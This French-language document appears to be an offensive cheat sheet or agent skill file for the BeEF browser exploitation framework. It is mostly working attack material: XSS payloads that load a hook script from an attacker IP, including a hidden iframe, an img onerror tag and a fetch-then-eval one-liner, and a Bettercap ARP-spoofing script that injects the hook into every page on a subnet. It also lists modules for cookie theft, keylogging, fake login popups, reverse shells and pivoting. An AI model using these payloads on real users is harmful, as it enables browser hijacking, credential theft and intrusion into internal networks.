| name | beef |
| description | BeEF (Browser Exploitation Framework) — hook navigateur, modules d'exploitation, reconnaissance client, phishing, tunneling, exfiltration, pivoting via navigateur, et scénarios d'attaque complets. |
BeEF — Browser Exploitation Framework
Présentation
BeEF (Browser Exploitation Framework) permet de prendre le contrôle d'un navigateur via un script JavaScript (hook) pour effectuer des attaques côté client.
Concept : Un utilisateur visite une page contenant le hook → le navigateur devient une "zombie" contrôlée depuis l'interface BeEF.
Installation :
sudo apt install beef-xss
git clone https://github.com/beefproject/beef.git
cd beef
./install
./beef
Lancement :
cd /usr/share/beef-xss/
sudo ./beef
cd beef && sudo ruby beef
Configuration
Fichier de configuration (config.yaml)
beef:
version: '0.5.0.0'
credentials:
user: "beef"
passwd: "beef"
http:
host: "0.0.0.0"
port: "3000"
https:
enable: true
key: "/etc/beef-xss/beef.key"
cert: "/etc/beef-xss/beef.crt"
hook_file: "/hook.js"
hook_session_name: "BEEFHOOK"
database:
name: "beef.db"
restrictions:
permitted_hooking_subnet: "0.0.0.0/0"
permitted_ui_subnet: "0.0.0.0/0"
Changer le port du hook
beef:
http:
port: 8080
web_ui_port: 3000
Le Hook (JavaScript)
Hook de base
<script src="http://192.168.1.50:3000/hook.js"></script>
<script>
window.onload = function() {
var s = document.createElement('script');
s.src = 'http://192.168.1.50:3000/hook.js';
document.body.appendChild(s);
};
</script>
http://cible.com/search?q=<script src="http://192.168.1.50:3000/hook.js"></script>
<script src="//192.168.1.50:3000/hook.js"></script>
Hook furtif — IFRAME invisible
<iframe src="http://192.168.1.50:3000/demos/butcher/index.html"
style="display:none;width:0;height:0;" frameborder="0"></iframe>
Hook via img tag (XSS classique)
<img src="x" onerror="var s=document.createElement('script');s.src='http://192.168.1.50:3000/hook.js';document.body.appendChild(s)">
Hook auto-exécutant (via injection)
fetch('http://192.168.1.50:3000/hook.js').then(r=>r.text()).then(t=>eval(t))
Interface — Command Center
Onglets principaux
Commandes (modules) par catégorie
1. Reconnaissance du navigateur (Browser)
Get Cookie
Get Page HTML
Get Page URL
Get System Info
Get Platform
Get Screen Size
Get Tabs
Detect AdBlock
Detect Firebug
Detect Ghostery
2. Exploitation (Exploit)
3. Réseau (Network)
Detect Open Ports
Ping Sweep
Port Scanner
Get Internal IP
Get Hostname
4. Social Engineering
Pretty Theft - Facebook
Pretty Theft - Google
Pretty Theft - Twitter
5. Persistance
Create IFrame
6. Exfiltration
Get Form Contents
Get Cookie SANS session
Get Page HREF Links
Get Referer
Key Logger
Steal Browser History
7. Pivoting (Tunneling)
Bind Shell
Reverse Shell
Tunneling Proxy
8. iFrame / DOM manipulation
XSSRays — Crawler XSS automatique
Tunneling / Pivoting
Proxy via navigateur
Reverse HTTP tunnel
curl http://127.0.0.1:8080/tunnel?host=192.168.1.1&port=80
Auto-hook — Injection automatique
Avec BeEF + MITM (Bettercap)
sudo beef
sudo bettercap -I eth0
> set arp.spoof.targets 192.168.1.0/24
> arp.spoof.on
> set http.proxy.script /tmp/beef_inject.js
> http.proxy.on
cat > /tmp/beef_inject.js << 'EOF'
function onResponse(req, res) {
if (res.ContentType.indexOf('text/html') === 0) {
var body = res.ReadBody();
var hook = '<script src="http://192.168.1.50:3000/hook.js"></script>';
body = body.replace('</head>', hook + '</head>');
res.SetBody(body);
}
}
EOF
Avec BeEF + Responder
sudo responder -I eth0 -wF
Scénarios complets
1. Stored XSS → BeEF Hook
<script src="http://192.168.1.50:3000/hook.js"></script>
2. Phishing + Keylogger
3. Réseau interne depuis l'extérieur
4. Métasploit + BeEF
curl -X POST http://127.0.0.1:3000/api/session/login \
-d '{"username":"beef","password":"beef"}'
curl -X GET http://127.0.0.1:3000/api/hooks
5. Auto-hook via MITM + Injection
API REST BeEF
curl -X POST http://127.0.0.1:3000/api/session/login \
-d '{"username":"beef","password":"beef"}' \
-c /tmp/beef_cookies.txt
TOKEN=$(curl -c /tmp/beef_cookies.txt -X POST http://127.0.0.1:3000/api/session/login \
-d '{"username":"beef","password":"beef"}' | jq -r '.token')
curl -b /tmp/beef_cookies.txt \
"http://127.0.0.1:3000/api/hooks?token=$TOKEN" | jq .
curl -b /tmp/beef_cookies.txt \
-X POST \
"http://127.0.0.1:3000/api/modules/COMMAND_ID/ACTION?token=$TOKEN" \
-d '{"target_id":"ZOMBIE_ID","options":{}}'
Dépannage
| Problème | Solution |
|---|
| Hook ne se connecte pas | Vérifier CORS, pare-feu, port 3000 accessible |
| "No sessions" | Vérifier que le navigateur cible exécute bien le JS |
| Module rouge | Navigateur trop récent, module non compatible |
| HTTP Only cookies | Ne peuvent pas être récupérés par JS |
| CSP bloc | Content Security Policy empêche le script |
Antisèche rapide
sudo beef
<script src="http://192.168.1.50:3000/hook.js"></script>
Get Cookie → Voler les cookies
Key Logger → Keylogging
Pretty Theft → Phishing popup
Ping Sweep → Scan réseau
Tunneling Proxy → Pivoting
Get Internal IP → IP locale
Detect Open Ports → Scan ports
curl -X POST http://127.0.0.1:3000/api/session/login -d '{"username":"beef","password":"beef"}'